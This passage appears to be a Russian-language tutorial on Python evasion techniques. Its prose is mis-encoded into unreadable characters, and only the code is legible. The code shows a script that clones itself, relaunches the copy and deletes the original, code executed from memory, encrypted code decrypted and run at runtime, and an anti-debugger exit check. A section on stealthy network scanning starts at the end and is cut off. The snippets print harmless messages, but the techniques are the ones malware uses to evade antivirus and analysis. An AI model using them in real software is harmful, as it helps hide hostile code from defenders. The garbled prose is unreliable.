- Π ΠΊΠΎΠ½ΡΡΠΎΠ»ΠΈΡΡΠ΅ΠΌΡΡ ΡΠ΅ΡΡΠ°Ρ ΡΡΡΠ΅ΠΊΡΠΈΠ²Π½ΠΎΡΡΡ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½ΠΈΡ ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅ΡΠΎΠ² ΡΠΈΠ»ΡΠ½ΠΎ ΡΠ°Π·Π»ΠΈΡΠ°Π΅ΡΡΡ. ΠΠΎ Π΄Π°Π½Π½ΡΠΌ InfoSec Write-ups, ΠΏΡΠΈ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠΈ ΠΎΠ±ΡΡΡΠΊΠ°ΡΠΈΠΈ Π²Π΅ΡΠΎΡΡΠ½ΠΎΡΡΡ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½ΠΈΡ ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅ΡΠ° Π°Π½ΡΠΈΠ²ΠΈΡΡΡΠ°ΠΌΠΈ ΡΠ½ΠΈΠΆΠ°Π΅ΡΡΡ Π΄ΠΎ 40%.
Π‘Π°ΠΌΠΎΠΊΠΎΠΏΠΈΡΡΡΡΠΈΠΉΡΡ ΠΈ ΡΠ°ΠΌΠΎΠ²ΠΎΡΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΡΡΠΈΠΉΡΡ ΠΊΠΎΠ΄
Π‘Π°ΠΌΠΎΠ²ΠΎΡΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΡΡΠΈΠΉΡΡ (ΠΈΠ»ΠΈ ΠΊΠ»ΠΎΠ½ΠΈΡΡΡΡΠΈΠΉΡΡ) ΡΠΊΡΠΈΠΏΡ ΡΠΎΠ·Π΄Π°Π΅Ρ ΡΠ²ΠΎΡ ΠΊΠΎΠΏΠΈΡ ΠΈ Π·Π°ΠΏΡΡΠΊΠ°Π΅Ρ Π΅Π΅. ΠΡΠΎ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½Π°Ρ ΡΠ΅Ρ Π½ΠΈΠΊΠ°, ΠΊΠΎΡΠΎΡΠ°Ρ, ΠΏΠΎΠΌΠΈΠΌΠΎ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΡΠ²ΠΎΠ΅ΠΉ Π³Π»Π°Π²Π½ΠΎΠΉ ΡΠ΅Π»ΠΈ, ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ Π»ΡΡΡΠ΅ ΠΏΠΎΠ½ΡΡΡ:
- ΠΠ°ΠΊ Python ΡΠ°Π±ΠΎΡΠ°Π΅Ρ Ρ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΡΠΌ ΠΊΠΎΠ΄ΠΎΠΌ (ΠΈΠ½ΡΡΠΎΡΠΏΠ΅ΠΊΡΠΈΡ).
- ΠΠ°ΠΊ ΡΠΏΡΠ°Π²Π»ΡΡΡ ΠΏΡΠΎΡΠ΅ΡΡΠ°ΠΌΠΈ.
- ΠΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΠ°ΠΉΠ»ΠΎΠ²ΡΠΉ Π²Π²ΠΎΠ΄/Π²ΡΠ²ΠΎΠ΄.
Π ΡΡΠΈΡΠ΅ΡΠΊΠΈΡ ΡΠ΅Π»ΡΡ ΡΠ°ΠΊΠΎΠΉ ΠΏΠΎΠ΄Ρ ΠΎΠ΄ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π΄Π»Ρ ΡΠ΅Π·Π΅ΡΠ²Π½ΠΎΠ³ΠΎ ΠΊΠΎΠΏΠΈΡΠΎΠ²Π°Π½ΠΈΡ, ΠΏΠ΅ΡΠ΅Π·Π°ΠΏΡΡΠΊΠ°, ΡΠΌΡΠ»ΡΡΠΈΠΈ ΠΆΠΈΠ²ΡΡΠ΅ΡΡΠΈ ΠΏΡΠΎΡΠ΅ΡΡΠ°, ΠΈ Ρ.Π΄.
π§ ΠΠ°ΠΊ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ ΡΠ°ΠΌΠΎΠΊΠΎΠΏΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅:
- ΠΠ·Π²Π»Π΅ΡΠ΅Π½ΠΈΠ΅ ΠΈΡΡ
ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°. Π‘ ΠΏΠΎΠΌΠΎΡΡΡ ΡΡΠ½ΠΊΡΠΈΠΈ
inspect.getsource()
ΡΠΊΡΠΈΠΏΡ ΠΌΠΎΠΆΠ΅Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ ΡΠ²ΠΎΠΉ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΡΠΉ ΠΊΠΎΠ΄ ΠΊΠ°ΠΊ ΡΠ΅ΠΊΡΡ. - Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΊΠΎΠΏΠΈΠΈ ΡΠ°ΠΉΠ»Π°. ΠΠΎΠ»ΡΡΠ΅Π½Π½ΡΠΉ ΠΊΠΎΠ΄ Π·Π°ΠΏΠΈΡΡΠ²Π°Π΅ΡΡΡ Π² Π½ΠΎΠ²ΡΠΉ .py-ΡΠ°ΠΉΠ» (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, clone_script.py).
- ΠΠ°ΠΏΡΡΠΊ ΠΊΠ»ΠΎΠ½Π°. ΠΠΎΠ²ΡΠΉ ΡΠ°ΠΉΠ» Π·Π°ΠΏΡΡΠΊΠ°Π΅ΡΡΡ ΡΠ΅ΡΠ΅Π·
subprocess.Popen()
, ΡΠΎΠ·Π΄Π°Π²Π°Ρ Π½ΠΎΠ²ΡΠΉ ΠΏΡΠΎΡΠ΅ΡΡ, Π° ΠΎΡΠΈΠ³ΠΈΠ½Π°Π» ΠΌΠΎΠΆΠ΅Ρ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, ΡΠ°ΠΌΠΎΡΠ½ΠΈΡΡΠΎΠΆΠΈΡΡΡΡ.
import sys import inspect import os import subprocess import shlex def clone_and_run(): # ΠΠΎΠ»ΡΡΠΈΡΡ ΠΈΡΡ ΠΎΠ΄Π½ΡΠΉ ΠΊΠΎΠ΄ ΡΠ΅ΠΊΡΡΠ΅ΠΉ ΡΡΠ½ΠΊΡΠΈΠΈ (Π²Π΅ΡΡ ΡΠΊΡΠΈΠΏΡ) code = inspect.getsource(inspect.currentframe()) # ΠΠΌΡ ΠΊΠ»ΠΎΠ½Π° clone_filename = "clone_script.py" # ΠΠ°ΠΏΠΈΡΠ°ΡΡ ΠΊΠΎΠ΄ Π² Π½ΠΎΠ²ΡΠΉ ΡΠ°ΠΉΠ» with open(clone_filename, "w") as f: f.write(code) # ΠΠ°ΠΏΡΡΡΠΈΡΡ ΠΊΠ»ΠΎΠ½ cmd = f"python {clone_filename} 1" subprocess.Popen(shlex.split(cmd), start_new_session=True) print("ΠΠ»ΠΎΠ½ Π·Π°ΠΏΡΡΠ΅Π½. ΠΡΠΈΠ³ΠΈΠ½Π°Π» ΡΠ°ΠΌΠΎΡΠ½ΠΈΡΡΠΎΠΆΠ°Π΅ΡΡΡ...") os.remove(__file__) # Π£Π΄Π°Π»ΠΈΡΡ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π» if __name__ == '__main__': clone_and_run()
β οΈΠΠΎΠ΄ΠΎΠ±Π½ΡΠ΅ ΡΠ΅Ρ Π½ΠΈΠΊΠΈ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΡΡ Π²ΠΎ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ°Ρ (ΠΏΠΎΡΡΠΎΠΌΡ ΡΠΏΠ΅ΡΠΈΠ°Π»ΠΈΡΡΠ°ΠΌ ΠΏΠΎ ΠΈΠ½ΡΠΎΠ±Π΅Π·Ρ Π²Π°ΠΆΠ½ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°ΡΡ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΡΠ°Π±ΠΎΡΠ°ΡΡ).
ΠΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° Π² ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΎΠΉ ΠΏΠ°ΠΌΡΡΠΈ
ΠΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° ΡΠΎΠ»ΡΠΊΠΎ Π² ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΎΠΉ ΠΏΠ°ΠΌΡΡΠΈ, Π±Π΅Π· Π·Π°ΠΏΠΈΡΠΈ Π½Π° Π΄ΠΈΡΠΊ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΡΠ²Π΅ΡΡΠΈ ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡΠΌΡ ΡΠ»Π΅Π΄Ρ Π² ΡΠ°ΠΉΠ»ΠΎΠ²ΠΎΠΉ ΡΠΈΡΡΠ΅ΠΌΠ΅. ΠΡΠΎ ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π² ΡΠΈΡΡΠ°ΡΠΈΡΡ , ΠΊΠΎΠ³Π΄Π° Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΊΡΡΡΡ ΡΠ²ΠΎΠ΅ ΠΏΡΠΈΡΡΡΡΡΠ²ΠΈΠ΅ Π² ΡΠΈΡΡΠ΅ΠΌΠ΅ β Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π²ΠΎ Π²ΡΠ΅ΠΌΡ ΠΏΠ΅Π½ΡΠ΅ΡΡΠΈΠ½Π³Π°.
π§ ΠΠ°ΠΊ ΡΡΠΎ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ:
- ΠΠΎΠΌΠΏΠΈΠ»ΡΡΠΈΡ ΠΊΠΎΠ΄Π° ΠΈΠ· ΡΡΡΠΎΠΊΠΈ. Π‘ ΠΏΠΎΠΌΠΎΡΡΡ ΡΡΠ½ΠΊΡΠΈΠΈ
compile()
ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°ΡΡ ΡΡΡΠΎΠΊΡ Ρ Python-ΠΊΠΎΠ΄ΠΎΠΌ Π² ΠΈΡΠΏΠΎΠ»Π½ΡΠ΅ΠΌΡΠΉ ΠΎΠ±ΡΠ΅ΠΊΡ ΠΊΠΎΠ΄Π°. - ΠΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π°ΠΏΡΡΠΌΡΡ ΠΈΠ· ΠΏΠ°ΠΌΡΡΠΈ. ΠΠΎΠ»ΡΡΠ΅Π½Π½ΡΠΉ ΠΎΠ±ΡΠ΅ΠΊΡ ΠΊΠΎΠ΄Π° ΠΏΠ΅ΡΠ΅Π΄Π°Π΅ΡΡΡ Π²
exec()
, ΠΈ Π²ΡΠΏΠΎΠ»Π½ΡΠ΅ΡΡΡ Π±Π΅Π· Π·Π°ΠΏΠΈΡΠΈ Π½Π° Π΄ΠΈΡΠΊ. - ΠΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ΄Π³ΡΡΠΆΠ°ΡΡ ΠΈ ΠΈΡΠΏΠΎΠ»Π½ΡΡΡ ΡΡΠ°Π³ΠΌΠ΅Π½ΡΡ ΠΊΠΎΠ΄Π° ΠΈΠ· ΡΠ΅ΡΠ΅Π²ΡΡ ΡΠ΅ΡΡΡΡΠΎΠ², Π·Π°ΡΠΈΡΡΠΎΠ²Π°Π½Π½ΡΡ ΡΠ°ΠΉΠ»ΠΎΠ² ΠΈΠ»ΠΈ Π±Π°Π· Π΄Π°Π½Π½ΡΡ .
code_string = """ def greet(): print('ΠΡΠΈΠ²Π΅Ρ! ΠΡΠΎΡ ΠΊΠΎΠ΄ Π²ΡΠΏΠΎΠ»Π½ΡΠ΅ΡΡΡ ΠΏΡΡΠΌΠΎ ΠΈΠ· ΠΏΠ°ΠΌΡΡΠΈ.') greet() """ compiled_code = compile(code_string, '<string>', 'exec') exec(compiled_code)
β οΈ ΠΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΠΎΠ΅ ΠΠ ΠΏΡΠΈΠΌΠ΅Π½ΡΠ΅Ρ ΡΠ°ΠΊΠΈΠ΅ ΠΌΠ΅ΡΠΎΠ΄Ρ Π΄Π»Ρ ΠΎΠ±Ρ ΠΎΠ΄Π° Π°Π½ΡΠΈΠ²ΠΈΡΡΡΠΎΠ².
Π Π°ΡΡΠΈΡΡΠΎΠ²ΠΊΠ° ΠΊΠΎΠ΄Π° Π²ΠΎ Π²ΡΠ΅ΠΌΡ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ
Π¨ΠΈΡΡΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΡΠΈΠΌΠ΅Π½ΡΠ΅ΡΡΡ Π½Π΅ ΡΠΎΠ»ΡΠΊΠΎ ΠΊ ΠΏΠ΅ΡΠ΅Π΄Π°Π²Π°Π΅ΠΌΡΠΌ ΠΏΠΎ ΡΠ΅ΡΠΈ Π΄Π°Π½Π½ΡΠΌ, Π½ΠΎ ΠΈ ΠΊ ΡΠ°ΡΡΡΠΌ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡΠΎΡΡΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΡ ΡΠ°Π½ΠΈΡΡ Π² Π·Π°ΡΠΈΡΡΠΎΠ²Π°Π½Π½ΠΎΠΌ Π²ΠΈΠ΄Π΅ ΠΈ ΡΠ°ΡΡΠΈΡΡΠΎΠ²ΡΠ²Π°ΡΡ ΡΠΎΠ»ΡΠΊΠΎ Π²ΠΎ Π²ΡΠ΅ΠΌΡ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ. ΠΡΠΎ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ ΡΠΊΡΡΡΡ Π»ΠΎΠ³ΠΈΠΊΡ ΠΈ Π·Π°ΡΠΈΡΠΈΡΡ ΠΈΠ½ΡΠ΅Π»Π»Π΅ΠΊΡΡΠ°Π»ΡΠ½ΡΡ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΠΎΡΡΡ.
π§ ΠΠ°ΠΊ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ ΡΡΠΎΡ ΠΌΠ΅ΡΠΎΠ΄:
- Π¨ΠΈΡΡΠΎΠ²Π°Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π°. ΠΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΡ cryptography.fernet, ΡΡΠΎΠ±Ρ Π·Π°ΡΠΈΡΡΠΎΠ²Π°ΡΡ ΡΡΡΠΎΠΊΡ Ρ ΠΊΠΎΠ΄ΠΎΠΌ.
- Π Π°ΡΡΠΈΡΡΠΎΠ²ΠΊΠ° ΠΈ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π²ΠΎ Π²ΡΠ΅ΠΌΡ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ. Π Π½ΡΠΆΠ½ΡΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° ΡΠ°ΡΡΠΈΡΡΠΎΠ²ΡΠ²Π°Π΅Ρ ΠΊΠΎΠ΄ ΠΈ Π·Π°ΠΏΡΡΠΊΠ°Π΅Ρ Π΅Π³ΠΎ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΡΡΠ½ΠΊΡΠΈΠΈ
exec()
.
from cryptography.fernet import Fernet # ΠΠ΅Π½Π΅ΡΠ°ΡΠΈΡ ΠΊΠ»ΡΡΠ° (Π² ΡΠ΅Π°Π»ΡΠ½ΡΡ ΡΡΠ»ΠΎΠ²ΠΈΡΡ Π΅Π³ΠΎ Π½ΡΠΆΠ½ΠΎ Ρ ΡΠ°Π½ΠΈΡΡ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎ!) key = Fernet.generate_key() cipher_suite = Fernet(key) # Π‘Π΅ΠΊΡΠ΅ΡΠ½ΡΠΉ ΠΊΠΎΠ΄, ΠΊΠΎΡΠΎΡΡΠΉ ΠΌΡ Ρ ΠΎΡΠΈΠΌ ΡΠΏΡΡΡΠ°ΡΡ secret_code = "print('ΠΡΠΎΡ ΡΠ΅ΠΊΡΠ΅ΡΠ½ΡΠΉ ΠΊΠΎΠ΄ Π±ΡΠ» Π·Π°ΡΠΈΡΡΠΎΠ²Π°Π½!')" # Π¨ΠΈΡΡΡΠ΅ΠΌ ΡΡΡΠΎΠΊΡ Ρ ΠΊΠΎΠ΄ΠΎΠΌ encrypted_code = cipher_suite.encrypt(secret_code.encode()) # ΠΠΎ Π²ΡΠ΅ΠΌΡ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ: ΡΠ°ΡΡΠΈΡΡΠΎΠ²ΡΠ²Π°Π΅ΠΌ ΠΈ Π²ΡΠΏΠΎΠ»Π½ΡΠ΅ΠΌ decrypted_code = cipher_suite.decrypt(encrypted_code).decode() exec(decrypted_code)
βΉοΈ ΠΡΠΈ Π»Π΅Π³Π°Π»ΡΠ½ΠΎΠΌ ΠΏΡΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠΈ ΡΡΠΎΡ ΠΌΠ΅ΡΠΎΠ΄ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ:
- ΠΠ°ΡΠΈΡΠΈΡΡ ΠΈΠ½ΡΠ΅Π»Π»Π΅ΠΊΡΡΠ°Π»ΡΠ½ΡΡ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΠΎΡΡΡ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π²Π°ΠΆΠ½ΡΡ Π±ΠΈΠ·Π½Π΅Ρ-Π»ΠΎΠ³ΠΈΠΊΡ).
- Π‘ΠΊΡΡΡΡ ΠΊΠΎΠ½ΡΠΈΠ΄Π΅Π½ΡΠΈΠ°Π»ΡΠ½ΡΠ΅ Π΄Π°Π½Π½ΡΠ΅ (Π²ΠΎ Π²ΡΠ΅ΠΌΡ ΡΠ°Π±ΠΎΡΡ Ρ Π»ΠΈΡΠ΅Π½Π·ΠΈΡΠΌΠΈ ΠΈΠ»ΠΈ ΠΊΠ»ΡΡΠ°ΠΌΠΈ API).
- Π£ΡΠ»ΠΎΠΆΠ½ΠΈΡΡ ΡΠ°Π±ΠΎΡΡ Π΄Π»Ρ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡΠΎΠ² ΠΊΠΎΠ΄Π° ΠΈ ΡΠ΅Π²Π΅ΡΡ-ΠΈΠ½ΠΆΠΈΠ½ΠΈΡΠΈΠ½Π³Π°.
π ΠΠΎΠ΄ΡΠΎΠ±Π½Π΅Π΅ ΠΎ ΠΌΠ΅ΡΠΎΠ΄Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ·Π½Π°ΡΡ Π² Π΄ΠΎΠΊΡΠΌΠ΅Π½ΡΠ°ΡΠΈΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ Cryptography.
ΠΠ½ΡΠΈΠΎΡΠ»Π°Π΄ΠΊΠ°
Π§ΡΠΎΠ±Ρ Π·Π°ΡΠΈΡΠΈΡΡ ΡΠΊΡΠΈΠΏΡ ΠΎΡ Π°Π½Π°Π»ΠΈΠ·Π° ΠΈΠ»ΠΈ ΡΠ΅Π²Π΅ΡΡ-ΠΈΠ½ΠΆΠΈΠ½ΠΈΡΠΈΠ½Π³Π°, ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΅Π°Π»ΠΈΠ·ΠΎΠ²Π°ΡΡ ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌ Π°Π½ΡΠΈΠΎΡΠ»Π°Π΄ΠΊΠΈ β ΡΡΠΎ ΠΌΠ΅ΡΠΎΠ΄, ΠΊΠΎΡΠΎΡΡΠΉ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΠΎΠ±Π½Π°ΡΡΠΆΠΈΡΡ Π½Π°Π»ΠΈΡΠΈΠ΅ ΠΎΡΠ»Π°Π΄ΡΠΈΠΊΠ° ΠΈ ΡΡΠ΅Π°Π³ΠΈΡΠΎΠ²Π°ΡΡ Π½Π° ΡΡΠΎ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΡ Π»ΠΎΠ³ΠΈΠΊΡ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΡ ΡΠΊΡΠΈΠΏΡΠ° ΠΈΠ»ΠΈ Π·Π°Π²Π΅ΡΡΠΈΡΡ Π΅Π³ΠΎ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅).
π§ ΠΠ°ΠΊ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ Π°Π½ΡΠΈΠΎΡΠ»Π°Π΄ΠΊΠ°:
- ΠΡΠΎΠ²Π΅ΡΠΊΠ° ΠΎΠΊΡΡΠΆΠ΅Π½ΠΈΡ. Π‘ΠΊΡΠΈΠΏΡ ΠΌΠΎΠΆΠ΅Ρ ΠΈΡΠΊΠ°ΡΡ ΠΏΡΠΈΠ·Π½Π°ΠΊΠΈ ΠΎΡΠ»Π°Π΄ΠΊΠΈ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π°ΠΊΡΠΈΠ²Π½ΠΎΡΡΡ
sys.gettrace()
. - ΠΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΡ. ΠΡΠ»ΠΈ ΠΎΡΠ»Π°Π΄ΠΊΠ° ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½Π°, ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ Π·Π°Π²Π΅ΡΡΠΈΡΡ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, ΠΈΠ»ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΡΡ Π·Π°Π΄Π΅ΡΠΆΠΊΡ, Π»ΠΈΠ±ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΡ Π»ΠΎΠ³ΠΈΠΊΡ ΡΠ°Π±ΠΎΡΡ, ΡΡΠΎΠ±Ρ ΡΠ±ΠΈΡΡ Ρ ΡΠΎΠ»ΠΊΡ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡ.
import sys import time def anti_debug(): # ΠΡΠΎΠ²Π΅ΡΠΊΠ°: Π΅ΡΠ»ΠΈ Π΅ΡΡΡ ΠΎΡΠ»Π°Π΄ΡΠΈΠΊ, gettrace() Π²Π΅ΡΠ½Π΅Ρ Π½Π΅ None if sys.gettrace() is not None: print("ΠΠ±Π½Π°ΡΡΠΆΠ΅Π½ ΠΎΡΠ»Π°Π΄ΡΠΈΠΊ! ΠΠ°Π²Π΅ΡΡΠ°Π΅ΠΌ ΡΠ°Π±ΠΎΡΡ Π΄Π»Ρ Π·Π°ΡΠΈΡΡ.") time.sleep(2) sys.exit() # ΠΡΡ ΠΎΠ΄ ΠΈΠ· ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ if __name__ == '__main__': anti_debug() print("ΠΡΠ»Π°Π΄ΡΠΈΠΊ Π½Π΅ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½. ΠΡΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅ΠΌ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅...")
β οΈ ΠΠ°ΠΆΠ½ΠΎ:
Π’Π°ΠΊΠΈΠ΅ ΠΌΠ΅ΡΠΎΠ΄Ρ Π΄ΠΎΠ»ΠΆΠ½Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ ΡΡΠΈΡΠ½ΠΎ ΠΈ ΡΠΎΠ»ΡΠΊΠΎ Π² ΠΊΠΎΠ½ΡΡΠΎΠ»ΠΈΡΡΠ΅ΠΌΡΡ ΡΡΠ»ΠΎΠ²ΠΈΡΡ , Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ:
- Π ΠΊΠΎΠΌΠΌΠ΅ΡΡΠ΅ΡΠΊΠΈΡ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡΡ Π΄Π»Ρ Π·Π°ΡΠΈΡΡ Π»ΠΈΡΠ΅Π½Π·ΠΈΠΉ.
- Π ΡΠΈΡΡΠ΅ΠΌΠ°Ρ , Π³Π΄Π΅ Π²Π°ΠΆΠ½ΠΎ ΠΏΡΠ΅Π΄ΠΎΡΠ²ΡΠ°ΡΠΈΡΡ Π²ΠΌΠ΅ΡΠ°ΡΠ΅Π»ΡΡΡΠ²ΠΎ Π² Π»ΠΎΠ³ΠΈΠΊΡ.
Π‘ΠΊΡΡΡΠΎΠ΅ ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ ΡΠ΅ΡΠΈ
ΠΠ΅Π½ΡΠ΅ΡΡΠ΅ΡΠ°ΠΌ ΡΠ°ΡΡΠΎ Π½ΡΠΆΠ½ΠΎ ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°ΡΡ ΡΠ΅ΡΡ Π½Π΅Π·Π°ΠΌΠ΅ΡΠ½ΠΎ, ΡΡΠΎΠ±Ρ Π½Π΅ ΠΏΡΠΈΠ²Π»Π΅ΠΊΠ°ΡΡ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΡΠΈΡΡΠ΅ΠΌ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½ΠΈΡ Π²ΡΠΎΡΠΆΠ΅Π½ΠΈΠΉ. ΠΠ»Ρ ΡΡΠΈΡ ΡΠ΅Π»Π΅ΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΏΠΈΡΠ°ΡΡ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΡΠΉ ΡΠΊΡΡΡΡΠΉ ΡΠΊΠ°Π½Π΅Ρ Π½Π° Python, ΠΊΠΎΡΠΎΡΡΠΉ Π±ΡΠ΄Π΅Ρ ΠΈΠΌΠΈΡΠΈΡΠΎΠ²Π°ΡΡ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΎΠ±ΡΡΠ½ΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΉ ΠΈ Π½Π΅ Π²ΡΠ·ΠΎΠ²Π΅Ρ ΠΏΠΎΠ΄ΠΎΠ·ΡΠ΅Π½ΠΈΠΉ.
π§ ΠΠ°ΠΊ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ ΡΠΊΡΡΡΠΎΠ΅ ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅:
- Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Β«Π»Π΅Π³ΠΈΡΠΈΠΌΠ½ΡΡ Β» ΠΏΠ°ΠΊΠ΅ΡΠΎΠ². Π‘ ΠΏΠΎΠΌΠΎΡΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ scapy ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°ΡΡ ΡΠ΅ΡΠ΅Π²ΡΠ΅ ΠΏΠ°ΠΊΠ΅ΡΡ, ΠΊΠΎΡΠΎΡΡΠ΅ Π²ΡΠ³Π»ΡΠ΄ΡΡ ΠΊΠ°ΠΊ ΠΎΠ±ΡΡΠ½ΡΠΉ ΡΡΠ°ΡΠΈΠΊ. ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, SYN-ΠΏΠ°ΠΊΠ΅ΡΡ, ΠΊΠ°ΠΊ ΠΏΡΠΈ ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΠΎΠΌ ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠ΅Π½ΠΈΠΈ ΠΊ ΡΠ΅ΡΠ²Π΅ΡΡ.
